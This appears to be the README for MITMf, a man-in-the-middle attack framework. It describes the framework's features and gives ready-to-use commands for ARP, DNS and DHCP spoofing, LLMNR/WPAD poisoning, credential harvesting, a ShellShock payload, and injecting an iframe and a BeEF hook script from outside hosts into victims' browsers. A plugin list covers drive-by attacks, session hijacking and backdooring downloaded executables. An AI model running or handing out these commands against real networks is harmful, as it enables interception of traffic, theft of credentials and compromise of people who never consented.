MITMf aims to provide a one-stop-shop for Man-In-The-Middle and network attacks while updating and improving existing attacks and techniques.
Originally built to address the significant shortcomings of other (e.g Ettercap, Mallory), it’s been almost completely re-written from scratch to provide a modular and easily extendible framework that anyone can use to implement their own MITM attack.
- The framework contains a built-in SMB, HTTP and DNS server that can be controlled and used by the various plugins, it also contains a modified version of the SSLStrip proxy that allows for HTTP modification and a partial HSTS bypass.
- As of version 0.9.8, MITMf supports active packet filtering and manipulation (basically what etterfilters did, only better), allowing users to modify any type of traffic or protocol.
- The configuration file can be edited on-the-fly while MITMf is running, the changes will be passed down through the framework: this allows you to tweak settings of plugins and servers while performing an attack.
- MITMf will capture FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos credentials by using Net-Creds, which is run on startup.
- Responder integration allows for LLMNR, NBT-NS and MDNS poisoning and WPAD rogue server support.
You can now modify any packet/protocol that gets intercepted by MITMf using Scapy! (no more etterfilters! yay!)
For example, here’s a stupid little filter that just changes the destination IP address of ICMP packets:
if packet.haslayer(ICMP): log.info('Got an ICMP packet!') packet.dst = '192.168.1.0'
- Use the
packetvariable to access the packet in a Scapy compatible format
- Use the
datavariable to access the raw packet data
Now to use the filter all we need to do is:
python mitmf.py -F ~/filter.py
You will probably want to combine that with the Spoof plugin to actually intercept packets from someone else 😉
Note: you can modify filters on-the-fly without restarting MITMf!
The most basic usage, starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface enp3s0:
python mitmf.py -i enp3s0
ARP poison the whole subnet with the gateway at 192.168.1.1 using the Spoof plugin:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1
Same as above + a WPAD rogue proxy server using the Responder plugin:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad
ARP poison 192.168.1.16-45 and 192.168.0.1/24 with the gateway at 192.168.1.1:
python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1
Enable DNS spoofing while ARP poisoning (Domains to spoof are pulled from the config file):
python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1
Enable LLMNR/NBTNS/MDNS spoofing:
python mitmf.py -i enp3s0 --responder --wredir --nbtns
Enable DHCP spoofing (the ip pool and subnet are pulled from the config file):
python mitmf.py -i enp3s0 --spoof --dhcp
Same as above with a ShellShock payload that will be executed if any client is vulnerable:
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'
Inject an HTML IFrame using the Inject plugin:
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com
Inject a JS script:
python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js
And much much more!
Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..)
For a complete list of available options, just run
python mitmf.py --help
- HTA Drive-By : Injects a fake update notification and prompts clients to download an HTA application
- SMBTrap : Exploits the ‘SMB Trap’ vulnerability on connected clients
- ScreenShotter : Uses HTML5 Canvas to render an accurate screenshot of a clients browser
- Responder : LLMNR, NBT-NS, WPAD and MDNS poisoner
- SSLstrip+ : Partially bypass HSTS
- Spoof : Redirect traffic using ARP, ICMP, DHCP or DNS spoofing
- BeEFAutorun : Autoruns BeEF modules based on a client’s OS or browser type
- AppCachePoison : Performs HTML5 App-Cache poisoning attacks
- Ferret-NG : Transperently hijacks client sessions
- BrowserProfiler : Attempts to enumerate all browser plugins of connected clients
- FilePwn : Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy
- Inject : Inject arbitrary content into HTML content
- BrowserSniper : Performs drive-by attacks on clients with out-of-date browser plugins
- Replace : Replace arbitrary content in HTML content
- SMBAuth : Evoke SMB challenge-response authentication attempts
- Upsidedownternet : Flips images 180 degrees